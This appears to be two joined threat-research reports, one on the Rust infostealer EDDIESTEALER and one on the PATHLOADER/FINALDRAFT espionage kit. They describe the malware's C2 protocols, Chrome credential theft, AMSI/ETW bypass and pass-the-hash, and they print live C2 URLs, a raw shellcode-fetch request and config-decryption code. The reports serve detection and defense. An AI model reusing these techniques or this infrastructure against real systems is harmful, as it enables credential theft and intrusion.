gverify.js is another obfuscated JavaScript payload that can be deobfuscated using open-source tools. Its functionality is fairly simple: fetching an executable (EDDIESTEALER) from hxxps://llll.fit/io and saving the file under the user’s Downloads folder with a pseudorandom 12-character file name.

EDDIESTEALER

Overview

EDDIESTEALER is a novel Rust-based commodity infostealer. The majority of strings that give away its malicious intent are encrypted. The malware lacks robust anti-sandbox/VM protections against behavioral fingerprinting. However, newer variants suggest that the anti-sandbox/VM checks might be occurring on the server side. With relatively straightforward capabilities, it receives a task list from the C2 server as part of its configuration to target specific data and can self-delete after execution if specified.

Stripped Symbols

EDDIESTEALER samples featured stripped function symbols, likely using Rust’s default compilation option, requiring symbol restoration before static analysis. We used <code>rustbinsign</code>, which generates signatures for Rust standard libraries and crates based on specific Rust/compiler/dependency versions. While rustbinsign only detected <code>hashbrown</code> and <code>rustc-demangle</code>, suggesting few external crates being used, it failed to identify crates such as <code>tinyjson</code> and <code>tungstenite</code> in newer variants. This occurred due to the lack of clear string artifacts. It is still possible to manually identify crates by finding unique strings and searching for the repository on GitHub, then download, compile and build signatures for them using the download_sign mode. It is slightly cumbersome if we don’t know the exact version of the crate being used. However, restoring the standard library and runtime symbols is sufficient to advance the static analysis process.

String Obfuscation

EDDIESTEALER encrypts most strings via a simple XOR cipher. Decryption involves two stages: first, the XOR key is derived by calling one of several key derivation functions; then, the decryption is performed inline within the function that uses the string.

The following example illustrates this, where sub_140020fd0 is the key derivation function, and data_14005ada8 is the address of the encrypted blob.

Each decryption routine utilizes its own distinct key derivation function. These functions consistently accept two arguments: an address within the binary and a 4-byte constant value. Some basic operations are then performed on these arguments to calculate the address where the XOR key resides.

Binary Ninja has a handy feature called <code>User-Informed Data Flow</code> (UIDF), which we can use to set the variables to known values to trigger a constant propagation analysis and simplify the expressions. Otherwise, a CPU emulator like Unicorn paired with a scriptable binary analysis tool can also be useful for batch analysis.

There is a general pattern for thread-safe, lazy initialization of shared resources, such as encrypted strings for module names, C2 domain and port, the sample’s unique identifier - that are decrypted only once but referenced many times during runtime. Each specific getter function checks a status flag for its resource; if uninitialized, it calls a shared, low-level synchronization function. This synchronization routine uses atomic operations and OS wait primitives (WaitOnAddress/WakeByAddressAll) to ensure only one thread executes the actual initialization logic, which is invoked indirectly via a function pointer in the vtable of a dyn Trait object.

API Obfuscation

EDDIESTEALER utilizes a custom WinAPI lookup mechanism for most API calls. It begins by decrypting the names of the target module and function. Before attempting resolution, it checks a locally maintained hashtable to see if the function name and address have already been resolved. If not found, it dynamically loads the required module using a custom LoadLibrary wrapper, into the process’s address space, and invokes a well-known implementation of GetProcAddress to retrieve the address of the exported function. The API name and address are then inserted into the hashtable, optimizing future lookups.

Mutex Creation

EDDIESTEALER begins by creating a mutex to ensure that only one instance of the malware runs at any given time. The mutex name is a decrypted UUID string 431e2e0e-c87b-45ac-9fdb-26b7e24f0d39 (unique per sample), which is later referenced once more during its initial contact with the C2 server.

Sandbox Detection

EDDIESTEALER performs a quick check to assess whether the total amount of physical memory is above ~4.0 GB as a weak sandbox detection mechanism. If the check fails, it deletes itself from disk.

Self-Deletion

Based on a similar self-deletion technique observed in LATRODECTUS, EDDIESTEALER is capable of deleting itself through NTFS Alternate Data Streams renaming, to bypass file locks.

The malware uses GetModuleFileName to obtain the full path of its executable and CreateFileW (wrapped in jy::ds::OpenHandle) to open a handle to its executable file with the appropriate access rights. Then, a FILE_RENAME_INFO structure with a new stream name is passed into SetFileInformationByHandle to rename the default stream $DATA to :metadata. The file handle is closed and reopened, this time using SetFileInformationByHandle on the handle with the FILE_DISPOSITION_INFO.DeleteFile flag set to TRUE to enable a "delete on close handle" flag.

Additional Configuration Request

The initial configuration data is stored as encrypted strings within the binary. Once decrypted, this data is used to construct a request following the URI pattern: <C2_ip_or_domain>/<resource_path>/<UUID>. The resource_path is specified as api/handler. The UUID, utilized earlier to create a mutex, is used as a unique identifier for build tracking.

EDDIESTEALER then communicates with its C2 server by sending an HTTP GET request with the constructed URI to retrieve a second-stage configuration containing a list of tasks for the malware to execute.

The second-stage configuration data is AES CBC encrypted and Base64 encoded. The Base64-encoded IV is prepended in the message before the colon (:).

Base64(IV):Base64(AESEncrypt(data))

The AES key for decrypting the server-to-client message is stored unencrypted in UTF-8 encoding, in the .rdata section. It is retrieved through a getter function.

The decrypted configuration for this sample contains the following in JSON format:

• Session ID
• List of tasks (data to target)
• AES key for client-to-server message encryption
• Self-delete flag

{
    "session": "<unique_session_id>",
    "tasks": [
        {
            "id": "<unique_task_id>",
            "prepare": [],
            "pattern": {
                "path": "<file_system_path>",
                "recursive": <true/false>,
                "filters": [
                    {
                        "path_filter": <null/string>,
                        "name": "<file_or_directory_name_pattern>",
                        "entry_type": "<FILE/DIR>"
                    },
                    ...
                ]
            },
            "additional": [
                {
                    "command": "<optional_command>",
                    "payload": {
                        "<command_specific_config>": <value>
                    }
                },
                ...
            ]
        },
        ...
    ],
    "network": {
        "encryption_key": "<AES_encryption_key>"
    },
    "self_delete": <true/false>
}

For this particular sample and based on the tasks received from the server during our analysis, here are the list of filesystem-based exfiltration targets:

• Crypto wallets
• Browsers
• Password managers
• FTP clients
• Messaging applications

A list of targeted browser extensions can be found here.

These targets are subject to change as they are configurable by the C2 operator.

EDDIESTEALER then reads the targeted files using standard kernel32.dll functions like CreateFileW, GetFileSizeEx, ReadFile, and CloseHandle.

Subsequent C2 Traffic

After successfully retrieving the tasks, EDDIESTEALER performs system profiling to gather some information about the infected system:

• Location of the executable (GetModuleFileNameW)
• Locale ID (GetUserDefaultLangID)
• Username (GetUserNameW)
• Total amount of physical memory (GlobalMemoryStatusEx)
• OS version (RtlGetVersion)

Following the same data format (Base64(IV):Base64(AESEncrypt(data))) for client-to-server messages, initial host information is AES-encrypted using the key retrieved from the additional configuration and sent via an HTTP POST request to <C2_ip_or_domain>/<resource_path>/info/<session_id>. Subsequently, for each completed task, the collected data is also encrypted and transmitted in separate POST requests to <C2_ip_or_domain>/<resource_path><session_id>/<task_id>, right after each task is completed. This methodology generates a distinct C2 traffic pattern characterized by multiple, task-specific POST requests. This pattern is particularly easy to identify because this malware family primarily relies on HTTP instead of HTTPS for its C2 communication.

Our analysis uncovered encrypted strings that decrypt to panic metadata strings, disclosing internal Rust source file paths such as:

• apps\bin\src\services\chromium_hound.rs
• apps\bin\src\services\system.rs
• apps\bin\src\structs\search_pattern.rs
• apps\bin\src\structs\search_entry.rs

We discovered that error messages sent to the C2 server contain these strings, including the exact source file, line number, and column number where the error originated, allowing the malware developer to have built-in debugging feedback.

Chromium-specific Capabilities

Since the introduction of Application-bound encryption, malware developers have adapted to alternative methods to bypass this protection and gain access to unencrypted sensitive data, such as cookies. ChromeKatz is one of the more well-received open source solutions that we have seen malware implement. EDDIESTEALER is no exception—the malware developers reimplemented it in Rust.

Below is a snippet of the browser version checking logic similar to COOKIEKATZ, after retrieving version information from %localappdata%\<browser_specific_path>\\User Data\\Last Version.

COOKIEKATZ signature pattern for detecting COOKIEMONSTER instances:

CredentialKatz signature pattern for detecting CookieMonster instances:

Here is an example of the exact copy-pasted logic of COOKIEKATZ’s FindPattern, where PatchBaseAddress is inlined.

The developers introduced a modification to handle cases where the targeted Chromium browser is not running. If inactive, EDDIESTEALER spawns a new browser instance using the command-line arguments --window-position=-3000,-3000 https://google.com. This effectively positions the new window far off-screen, rendering it invisible to the user. The objective is to ensure the malware can still read the memory (ReadProcessMemory) of the necessary child process - the network service process identified by the --utility-sub-type=network.mojom.NetworkService flag. For a more detailed explanation of this browser process interaction, refer to our previous research on MaaS infostealers.

Differences with variants

After analysis, more recent samples were identified with additional capabilities.

Information gathered on victim machines now include:

• Running processes
• GPU information
• Number of CPU cores
• CPU name
• CPU vendor

The C2 communication pattern has been altered slightly. The malware now preemptively sends host system information to the server before requesting its decrypted configuration. In a few instances where the victim machine was able to reach out to the C2 server but received an empty task list, the adjustment suggests an evasion tactic: developers have likely introduced server-side checks to profile the client environment and withhold the main configuration if a sandbox or analysis system is detected.

The encryption key for client-to-server communication is no longer received dynamically from the C2 server; instead, it is now hardcoded in the binary. The key used by the client to decrypt server-to-client messages also remains hardcoded.

Newer compiled samples exhibit extensive use of function inline expansion, where many functions - both user-defined and from standard libraries and crates - have been inlined directly into their callers more often, resulting in larger functions and making it difficult to isolate user code. This behavior is likely the result of using LLVM’s inliner. While some functions remain un-inlined, the widespread inlining further complicates analysis.

In order to get all entries of Chrome’s Password Manager, EDDIESTEALER begins its credential theft routine by spawning a new Chrome process with the --remote-debugging-port=<port_num> flag, enabling Chrome’s DevTools Protocol over a local WebSocket interface. This allows the malware to interact with the browser in a headless fashion, without requiring any visible user interaction.

After launching Chrome, the malware queries http://localhost:<port>/json/version to retrieve the webSocketDebuggerUrl, which provides the endpoint for interacting with the browser instance over WebSocket.

Using this connection, it issues a Target.createTarget command with the parameter chrome://password-manager/passwords, instructing Chrome to open its internal password manager in a new tab. Although this internal page does not expose its contents to the DOM or to DevTools directly, opening it causes Chrome to decrypt and load stored credentials into memory. This behavior is exploited by EDDIESTEALER in subsequent steps through CredentialKatz lookalike code, where it scans the Chrome process memory to extract plaintext credentials after they have been loaded by the browser.

Based on decrypted strings os_crypt, encrypted_key, CryptUnprotectData, local_state_pattern, and login_data_pattern, EDDIESTEALER variants appear to be backward compatible, supporting Chrome versions that still utilize DPAPI encryption.

We have identified 15 additional samples of EDDIESTEALER through code and infrastructure similarities on VirusTotal. The observations table will include the discovered samples, associated C2 IP addresses/domains, and a list of infrastructure hosting EDDIESTEALER.

A Few Analysis Tips

Tracing

To better understand the control flow and pinpoint the exact destinations of indirect jumps or calls in large code blocks, we can leverage binary tracing techniques. Tools like <code>TinyTracer</code> can capture an API trace and generate a .tag file, which maps any selected API calls to be recorded to the executing line in assembly. Rust's standard library functions call into WinAPIs under the hood, and this also captures any code that calls WinAPI functions directly, bypassing the standard library's abstraction. The tag file can then be imported into decompiler tools to automatically mark up the code blocks using plugins like <code>IFL</code>.

Panic Metadata for Code Segmentation

Panic metadata - the embedded source file paths (.rs files), line numbers, and column numbers associated with panic locations - offers valuable clues for segmenting and understanding different parts of the binary. This, however, is only the case if such metadata has not been stripped from the binary. Paths like apps\bin\src\services\chromium.rs, apps\bin\src\structs\additional_task.rs or any path that looks like part of a custom project typically points to the application’s unique logic. Paths beginning with library<core/alloc/std>\src\ indicates code from the Rust standard library. Paths containing crate name and version such as hashbrown-0.15.2\src\raw\mod.rs point to external libraries.

If the malware project has a somewhat organized codebase, the file paths in panic strings can directly map to logical modules. For instance, the decrypted string apps\bin\src\utils\json.rs:48:39 is referenced in sub_140011b4c.

By examining the call tree for incoming calls to the function, many of them trace back to sub_14002699d. This function (sub_14002699d) is called within a known C2 communication routine (jy::C2::RetrieveAndDecryptConfig), right after decrypting additional configuration data known to be JSON formatted.

Based on the json.rs path and its calling context, an educated guess would be that sub_14002699d is responsible for parsing JSON data. We can verify it by stepping over the function call. Sure enough, by inspecting the stack struct that is passed as reference to the function call, it now points to a heap address populated with parsed configuration fields.

For standard library and open-source third-party crates, the file path, line number, and (if available) the rustc commit hash or crate version allow you to look up the exact source code online.

Stack Slot Reuse

One of the optimization features involves reusing stack slots for variables/stack structs that don’t have overlapping timelines. Variables that aren’t “live” at the same time can share the same stack memory location, reducing the overall stack frame size. Essentially, a variable is live from the moment it is assigned a value until the last point where that value could be accessed. This makes the decompiled output confusing as the same memory offset may hold different types or values at different points.

To handle this, we can define unions encompassing all possible types sharing the same memory offset within the function.

Rust Error Handling and Enums

Rust enums are tagged unions that define types with multiple variants, each optionally holding data, ideal for modeling states like success or failure. Variants are identified by a discriminant (tag).

Error-handling code can be seen throughout the binary, making up a significant portion of the decompiled code. Rust's primary mechanism for error handling is the Result<T, E> generic enum. It has two variants: Ok(T), indicating success and containing a value of type T, and Err(E), indicating failure and containing an error value of type E.

In the example snippet below, a discriminant value of 0x8000000000000000 is used to differentiate outcomes of resolving the CreateFileW API. If CreateFileW is successfully resolved, the reuse variable type contains the API function pointer, and the else branch executes. Otherwise, the if branch executes, assigning an error information string from reuse to arg1.

For more information on how other common Rust types might look in memory, check out this cheatsheet and this amazing talk by Cindy Xiao!

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

• Initial Access
• Execution
• Defense Evasion
• Exfiltration
• Credential Access
• Discovery
• Collection

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Phishing
• Content Injection
• Command and Scripting Interpreter
• Credentials from Password Stores
• User Execution
• Obfuscated Files or Information
• Exfiltration Over C2 Channel
• Virtualization/Sandbox Evasion

Detections

YARA

Elastic Security has created the following YARA rules related to this research:

• Windows.Infostealer.EddieStealer

Behavioral prevention rules

• Suspicious PowerShell Execution
• Ingress Tool Transfer via PowerShell
• Potential Browser Information Discovery
• Potential Self Deletion of a Running Executable

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://github.com/N0fix/rustbinsign
• https://github.com/Meckazin/ChromeKatz
• https://github.com/hasherezade/tiny_tracer
• https://docs.binary.ninja/dev/uidf.html
• https://www.unicorn-engine.org/
• https://github.com/LloydLabs/delete-self-poc/tree/main
• https://cheats.rs/#memory-layout
• https://www.youtube.com/watch?v=SGLX7g2a-gw&t=749s
• https://cxiao.net/posts/2023-12-08-rust-reversing-panic-metadata/

While investigating REF7707, Elastic Security Labs discovered a new family of previously unknown malware that leverages Outlook as a communication channel via the Microsoft Graph API. This post-exploitation kit includes a loader, a backdoor, and multiple submodules that enable advanced post-exploitation activities.

Our analysis uncovered a Linux variant and an older PE variant of the malware, each with multiple distinct versions that suggest these tools have been under development for some time.

The completeness of the tools and the level of engineering involved suggest that the developers are well-organized. The extended time frame of the operation and evidence from our telemetry suggest it’s likely an espionage-oriented campaign.

This report details the features and capabilities of these tools.

For the campaign analysis of REF7707 - check out From South America to Southeast Asia: The Fragile Web of REF7707.

Technical Analysis

PATHLOADER

PATHLOADER is a Windows PE file that downloads and executes encrypted shellcode retrieved from external infrastructure.

Our team recovered and decrypted the shellcode retrieved by PATHLOADER, extracting a new implant we have not seen publicly reported, which we call FINALDRAFT. We believe these two components are used together to infiltrate sensitive environments.

Configuration

PATHLOADER is a lightweight Windows executable at 206 kilobytes; this program downloads and executes shellcode hosted on a remote server. PATHLOADER includes an embedded configuration stored in the .data section that includes C2 and other relevant settings.

After Base64 decoding and converting from the embedded hex string, the original configuration is recovered with two unique typosquatted domains resembling security vendors.

https://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|*

Configuration from PATHLOADER

API Hashing

In order to block static analysis efforts, PATHLOADER performs API hashing using the Fowler–Noll–Vo hash function. This can be observed based on the immediate value 0x1000193 found 37 times inside the binary. The API hashing functionality shows up as in-line as opposed to a separate individual function.

String Obfuscation

PATHLOADER uses string encryption to obfuscate functionality from analysts reviewing the program statically. While the strings are easy to decrypt while running or if using a debugger, the obfuscation shows up in line, increasing the complexity and making it more challenging to follow the control flow. This obfuscation uses SIMD (Single Instruction, Multiple Data) instructions and XMM registers to transform the data.

One string related to logging WinHttpSendRequest error codes used by the malware developer was left unencrypted.

Execution/Behavior

Upon execution, PATHLOADER employs a combination of GetTickCount64 and Sleep methods to avoid immediate execution in a sandbox environment. After a few minutes, PATHLOADER parses its embedded configuration, cycling through both preconfigured C2 domains (poster.checkponit[.]com, support.fortineat[.]com) attempting to download the shellcode through HTTPS GET requests.

GET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: poster.checkponit.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36

The shellcode is AES encrypted and Base64 encoded. The AES decryption is performed using the shellcode download URL path “/nzoMeFYgvjyXK3P” as the 128-bit key used in the call to the CryptImportKey API.

After the CryptDecrypt call, the decrypted shellcode is copied into previously allocated memory. The memory page is then set to PAGE_EXECUTE_READ_WRITE using the NtProtectVirtualMemory API. Once the page is set to the appropriate protection, the shellcode entrypoint is called, which in turn loads and executes the next stage: FINALDRAFT.

FINALDRAFT

FINALDRAFT is a 64-bit malware written in C++ that focuses on data exfiltration and process injection. It includes additional modules, identified as parts of the FINALDRAFT kit, which can be injected by the malware. The output from these modules is then forwarded to the C2 server.

Entrypoint

FINALDRAFT exports a single entry point as its entry function. The name of this function varies between samples; in this sample, it is called UpdateTask.

Initialization

The malware is initialized by loading its configuration and generating a session ID.

Configuration loading process

The configuration is hardcoded in the binary in an encrypted blob. It is decrypted using the following algorithm.

for ( i = 0; i < 0x149A; ++i )
  configuration[i] ^= decryption_key[i & 7];

Decryption algorithm for configuration data

The decryption key is derived either from the Windows product ID (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId) or from a string located after the encrypted blob. This is determined by a global flag located after the encrypted configuration blob.

The decryption key derivation algorithm is performed as follows:

uint64_t decryption_key = 0;
do
  decryption_key = *data_source++ + 31 * decryption_key;
while ( data_source != &data_source[data_source_length] );

Decryption key derivation algorithm

The configuration structure is described as follows:

struct Configuration // sizeof=0x149a
{
  char c2_hosts_or_refresh_token[5000];
  char pastebin_url[200];
  char guid[36];
  uint8_t unknown_0[4];
  uint16_t build_id;
  uint32_t sleep_value;
  uint8_t communication_method;
  uint8_t aes_encryption_key[16];
  bool get_external_ip_address;
  uint8_t unknown_1[10]
};

Configuration structure

The configuration is consistent across variants and versions, although not all fields are utilized. For example, the communication method field wasn't used in the main variant at the time of this publication, and only the MSGraph/Outlook method was used. However, this is not the case in the ELF variant or prior versions of FINALDRAFT.

The configuration also contains a Pastebin URL, which isn’t used across any of the variants. However, this URL was quite useful to us for pivoting from the initial sample.

Session ID derivation process

The session ID used for communication between FINALDRAFT and C2 is generated by creating a random GUID, which is then processed using the Fowler-Noll-Vo (FNV) hash function.

Communication protocol

During our analysis, we discovered that different communication methods are available from the configuration; however, the most contemporary sample at this time uses only the COutlookTrans class, which abuses the Outlook mail service via the Microsoft Graph API. This same technique was observed in SIESTAGRAPH, a previously unknown malware family reported by Elastic Security Labs in February 2023 and attributed to a PRC-affiliated threat group.

The Microsoft Graph API token is obtained by FINALDRAFT using the https://login.microsoftonline.com/common/oauth2/token endpoint. The refresh token used for this endpoint is located in the configuration.

Once refreshed, the Microsoft Graph API token is stored in the following registry paths based on whether the user has administrator privileges:

• HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration>
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration>

This token is reused across requests, if it is still valid.

The communication loop is described as follows:

• Create a session email draft if it doesn’t already exist.
• Read and delete command request email drafts created by the C2.
• Process commands
• Write command response emails as drafts for each processed command.

A check is performed to determine whether a session email, in the form of a command response email identified by the subject p_<session-id>, already exists. If it does not, one is created in the mail drafts. The content of this email is base64 encoded but not AES encrypted.

The session data is described in the structure below.

struct Session
{
  char random_bytes[30];
  uint32_t total_size;
  char field_22;
  uint64_t session_id;
  uint64_t build_number;
  char field_33;
};

Session data structure

The command queue is filled by checking the last five C2 command request emails in the mail drafts, which have subjects r_<session-id>.

After reading the request, emails are then deleted.

Commands are then processed, and responses are written into new draft emails, each with the same p_<session-id> subject for each command response.

Content for message requests and responses are Zlib compressed, AES CBC encrypted, and Base64 encoded. The AES key used for encryption and decryption is located in the configuration blob.

Base64(AESEncrypt(ZlibCompress(data)))

Request messages sent from the C2 to the implant follow this structure.

struct C2Message{
  struct {
    uint8_t random_bytes[0x1E];  
    uint32_t message_size;    
    uint64_t session_id;      
  } header;                     // Size: 0x2A (42 bytes)
  
  struct {
    uint32_t command_size;                     
    uint32_t next_command_struct_offset;
    uint8_t command_id;                   
    uint8_t unknown[8];                   
    uint8_t command_args[];                       
  } commands[];
};

Request message structure

Response messages sent from the implant to C2 follow this structure.

struct ImplantMessage {
  struct Header {
    uint8_t random_bytes[0x1E];  
    uint32_t total_size;    
    uint8_t flag;		// Set to 1
    uint64_t session_id;
    uint16_t build_id;
    uint8_t pad[6];
  } header;
  
  struct Message {
    uint32_t actual_data_size_add_0xf;
    uint8_t command_id;
    uint8_t unknown[8];
    uint8_t flag_success;
    char newline[0x2];
    uint8_t actual_data[];
  }                    
};

Response message structure

Here is an example of data stolen by the implant.

Commands

FinalDraft registers 37 command handlers, with most capabilities revolving around process injection, file manipulation, and network proxy capabilities.

Below is a table of the commands and their IDs:

FINALDRAFT command handler table

Gather computer information

Upon execution of the GatherComputerInformation command, information about the victim machine is collected and sent by FINALDRAFT. This information includes the computer name, the account username, internal and external IP addresses, and details about running processes.

This structure is described as follows:

struct ComputerInformation
{
  char field_0;
  uint64_t session_id;
  char field_9[9];
  char username[50];
  char computer_name[50];
  char field_76[16];
  char external_ip_address[20];
  char internal_ip_address[20];
  uint32_t sleep_value;
  char field_B2;
  uint32_t os_major_version;
  uint32_t os_minor_version;
  bool product_type;
  uint32_t os_build_number;
  uint16_t os_service_pack_major;
  char field_C2[85];
  char field_117;
  char current_module_name[50];
  uint32_t current_process_id;
};

Collected information structure

The external IP address is collected when enabled in the configuration.

This address is obtained by FINALDRAFT using the following list of public services.

IP lookup service list

Process injection

FINALDRAFT has multiple process injection-related commands that can inject into either running processes or create a hidden process to inject into.

In cases where a process is created, the target process is either an executable path provided as a parameter to the command or defaults to mspaint.exe or conhost.exe as a fallback.

Depending on the command and its parameters, the process can be optionally created with its standard output handle piped. In this case, once the process is injected, FINALDRAFT reads from the pipe's output and sends its content along with the command response.

Another option exists where, instead of piping the standard handle of the process, FINALDRAFT, after creating and injecting the process, waits for the payload to create a Windows named pipe. It then connects to the pipe, writes some information to it, reads its output, and sends the data to the C2 through a separate channel. (In the case of the Outlook transport channel, this involves creating an additional draft email.).

The process injection procedure is basic and based on VirtualAllocEx, WriteProcessMemory, and RtlCreateUserThread API.

Forwarding data from TCP, UDP, and named pipes

FINALDRAFT offers various methods of proxying data to C2, including UDP and TCP listeners, and a named pipe client.

Proxying UDP and TCP data involves handling incoming communication differently based on the protocol. For UDP, messages are received directly from the sender, while for TCP, client connections are accepted before receiving data. In both cases, the data is read from the socket and forwarded to the transport channel.

Below is an example screenshot of the recvfrom call from the UDP listener.

Before starting the TCP listener server, FINALDRAFT adds a rule to the Windows Firewall. This rule is removed when the server shuts down. To add/remove these rules the malware uses COM and the INetFwPolicy2 and the INetFwRule interfaces.

FINALDRAFT can also establish a TCP connection to a target. In this case, it sends a magic value, “\x12\x34\xab\xcd\ff\xff\xcd\xab\x34\x12” and expects the server to echo the same magic value back before beginning to forward the received data.

For the named pipe, FINALDRAFT only connects to an existing pipe. The pipe name must be provided as a parameter to the command, after which it reads the data and forwards it through a separate channel.

File manipulation

For the file deletion functionality, FINALDRAFT prevents file recovery by overwriting file data with zeros before deleting them.

FINALDRAFT defaults to CopyFileW for file copying. However, if it fails, it will attempt to copy the file at the NTFS cluster level.

It first opens the source file as a drive handle. To retrieve the cluster size of the volume where the file resides, it uses GetDiskFreeSpaceW to retrieve information about the number of sectors per cluster and bytes per sector. DeviceIoControl is then called with FSCTL_GET_RETRIEVAL_POINTERS to retrieve details of extents: locations on disk storing the data of the specified file and how much data is stored there in terms of cluster size.

For each extent, it uses SetFilePointer to move the source file pointer to the corresponding offset in the volume; reading and writing one cluster of data at a time from the source file to the destination file.

If the file does not have associated cluster mappings, it is a resident file, and data is stored in the MFT itself. It uses the file's MFT index to get its raw MFT record. The record is then parsed to locate the $DATA attribute (type identifier = 128). Data is then extracted from this attribute and written to the destination file using WriteFile.

Injected Modules

Our team observed several additional modules loaded through the DoProcessInjectionSendOutputEx command handler performing process injection and writing the output back through a named pipe. This shellcode injected by FINALDRAFT leverages the well-known sRDI project, enabling the loading of a fully-fledged PE DLL into memory within the same process, resolving its imports and calling its export entrypoint.

Network enumeration (ipconfig.x64.dll)

This module creates a named pipe (\\.\Pipe\E340C955-15B6-4ec9-9522-1F526E6FBBF1) waiting for FINALDRAFT to connect to it. Perhaps to prevent analysis/sandboxing, the threat actor used a password (Aslire597) as an argument, if the password is incorrect, the module will not run.

As its name suggests, this module is a custom implementation of the ipconfig command retrieving networking information using Windows API’s (GetAdaptersAddresses, GetAdaptersInfo, GetNetworkParams) and reading the Windows registry keypath (SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces). After the data is retrieved, it is sent back to FINALDRAFT through the named pipe.

PowerShell execution (Psloader.x64.dll)

This module allows the operator to execute PowerShell commands without invoking the powershell.exe binary. The code used is taken from PowerPick, a well-known open source offensive security tool.

To evade detection, the module first hooks the EtwEventWrite, ReportEventW, and AmsiScanBuffer APIs, forcing them to always return 0, which disables ETW logging and bypasses anti-malware scans.

Next, the DLL loads a .NET payload (PowerPick) stored in its .data section using the CLR Hosting technique.

The module creates a named pipe (\\.\Pipe\BD5AE956-0CF5-44b5-8061-208F5D0DBBB2) which is used for command forwarding and output retrieval. The main thread is designated as the receiver, while a secondary thread is created to write data to the pipe. Finally, the managed PowerPick binary is loaded and executed by the module.

Pass-the-Hash toolkit (pnt.x64.dll)

This module is a custom Pass-the-Hash (PTH) toolkit used to start new processes with stolen NTLM hashes. This PTH implementation is largely inspired by the one used by Mimikatz, enabling lateral movement.

A password (Aslire597), domain, and username with the NTLM hash, along with the file path of the program to be elevated, are required by this module. In our sample, this command line is loaded by the sRDI shellcode. Below is an example of the command line.

program.exe <password> <domain>\<account>:<ntlm_hash> <target_process>

Like the other module, it creates a named pipe, ”\\.\Pipe\EAA0BF8D-CA6C-45eb-9751-6269C70813C9”, and awaits incoming connections from FINALDRAFT. This named pipe serves as a logging channel.

After establishing the pipe connection, the malware creates a target process in a suspended state using CreateProcessWithLogonW, identifies key structures like the LogonSessionList and LogonSessionListCount within the Local Security Authority Subsystem Service (LSASS) process, targeting the logon session specified by the provided argument.

Once the correct session is matched, the current credential structure inside LSASS is overwritten with the supplied NTLM hash instead of the current user's NTLM hash, and finally, the process thread is resumed. This technique is well explained in the blog post "Inside the Mimikatz Pass-the-Hash Command (Part 2)" by Praetorian. The result is then sent to the named pipe.

FINALDRAFT ELF variant

During this investigation, we discovered an ELF variant of FINALDRAFT. This version supports more transport protocols than the PE version, but has fewer features, suggesting it might be under development.

Additional transport channels

The ELF variant of FINALDRAFT supports seven additional protocols for C2 transport channels:

FINALDRAFT ELF variant C2 communication options

From the ELF samples discovered, we have identified implants configured to use the HTTP and Outlook via Graph API channels.

While the code structure is similar to the most contemporary PE sample, at the time of this publication, some parts of the implant's functionality were modified to conform to the Linux environment. For example, new Microsoft OAuth refresh tokens requested are written to a file on disk, either /var/log/installlog.log.<UUID_from_config> or /mnt/hgfsdisk.log.<UUID_from_config> if it fails to write to the prior file.

Below is a snippet of the configuration which uses the HTTP channel. We can see two C2 servers are used in place of a Microsoft refresh token, the port number 0x1bb (443) at offset 0xc8, and flag for using HTTPS at offset 0xfc.

The domains are intentionally designed to typosquat well-known vendors, such as "VMSphere" (VMware vSphere). However, it's unclear which vendor "Hobiter" is attempting to impersonate in this instance.

Domain list

Commands

All of the commands overlap with its Windows counterpart, but offer fewer options. There are two C2 commands dedicated to collecting information about the victim's machine. Together, these commands gather the following details:

• Hostname
• Current logged-in user
• Intranet IP address
• External IP address
• Gateway IP address
• System boot time
• Operating system name and version
• Kernel version
• System architecture
• Machine GUID
• List of active network connections
• List of running processes
• Name of current process

Command Execution

While there are no process injection capabilities, the implant can execute shell commands directly. It utilizes popen for command execution, capturing both standard output and errors, and sending the results back to the C2 infrastructure.

Self Deletion

To dynamically resolve the path of the currently running executable, its symlink pointing to the executable image is passed to sys_readlink. sys_unlink is then called to remove the executable file from the filesystem.

Older FINALDRAFT PE sample

During our investigation, we identified an older version of FINALDRAFT. This version supports half as many commands but includes an additional transport protocol alongside the MS Graph API/Outlook transport channel.

The name of the binary is Session.x64.dll, and its entrypoint export is called GoogleProxy:

HTTP transport channel

This older version of FINALDRAFT selects between the Outlook or HTTP transport channel based on the configuration.

In this sample, the configuration contains a list of hosts instead of the refresh token found in the main sample. These same domains were used by PATHLOADER, the domain (checkponit[.]com) was registered on 2022-08-26T09:43:16Z and domain (fortineat[.]com) was registred on 2023-11-08T09:47:47Z.

The domains purposely typosquat real known vendors, CheckPoint and Fortinet, in this case.

Domain list

Shell command

An additional command exists in this sample that is not present in later versions. This command, with ID 1, executes a shell command.

The execution is carried out by creating a cmd.exe process with the "/c" parameter, followed by appending the actual command to the parameter.

Detection

Elastic Defend detects the process injection mechanism through two rules. The first rule detects the WriteProcessMemory API call targeting another process, which is a common behavior observed in process injection techniques.

The second rule detects the creation of a remote thread to execute the shellcode.

We also detect the loading of the PowerShell engine by the Psloader.x64.dll module, which is injected into the known target mspaint.exe.

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

• Command and Control
• Defense Evasion
• Discovery
• Execution
• Exfiltration
• Lateral Movement

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Web Service: One-Way Communication
• Encrypted Channel: Symmetric Cryptography
• Hide Artifacts: Hidden Window
• Masquerading: Match Legitimate Name or Location
• Masquerading: Rename System Utilities
• Process Injection: Portable Executable Injection
• Reflective Code Loading
• Use Alternate Authentication Material: Pass the Hash
• Network Service Discovery
• Process Discovery
• Query Registry
• Exfiltration Over Web Service

Mitigations

Detection

• Suspicious Memory Write to a Remote Process
• Unusual PowerShell Engine ImageLoad
• AMSI Bypass via Unbacked Memory
• AMSI or WLDP Bypass via Memory Patching
• Suspicious Execution via Windows Service
• Execution via Windows Command Line Debugging Utility
